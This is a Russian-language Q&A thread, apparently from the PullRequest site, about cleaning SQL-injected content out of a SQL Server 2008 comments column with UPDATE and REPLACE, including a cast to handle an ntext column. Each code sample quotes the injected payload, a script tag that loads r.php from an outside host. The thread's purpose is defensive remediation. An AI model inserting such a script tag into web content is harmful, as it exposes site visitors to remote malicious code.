Удаление части текста из столбца таблицы - PullRequest
0 голосов
/ 09 марта 2012

Веб-сайт, на котором я размещаюсь, был недавно внедрен SQL, и я хочу найти способ удалить внедряемый код, вызывающий проблемы, из определенного столбца (комментариев) в базе данных. Используя SQL Server 2008, я не уверен, почему это не работает:

USE Dirty
SELECT REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
FROM SALONS

Ответы [ 3 ]

3 голосов
/ 09 марта 2012

Вы только выбираете - не обновляете ....

Попробуйте это:

USE Dirty

UPDATE dbo.Salons
SET Comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
WHERE (possibly a condition here...)
2 голосов
/ 09 марта 2012

Вы на самом деле ничего не обновляете, просто выбираете это.Вам необходимо создать оператор обновления

USE Dirty

UPDATE SALONS
    SET comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
0 голосов
/ 09 марта 2012

Поскольку столбец был "ntext", который вызывал ошибку.Мне удалось это исправить, используя приведение типа:

USE Dirty
    UPDATE dbo.Salons
    SET Comments = cast(replace(cast(comments as varchar(8000)),'</title><script src=http://hjfghj.com/r.php ></script>','') as ntext)
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...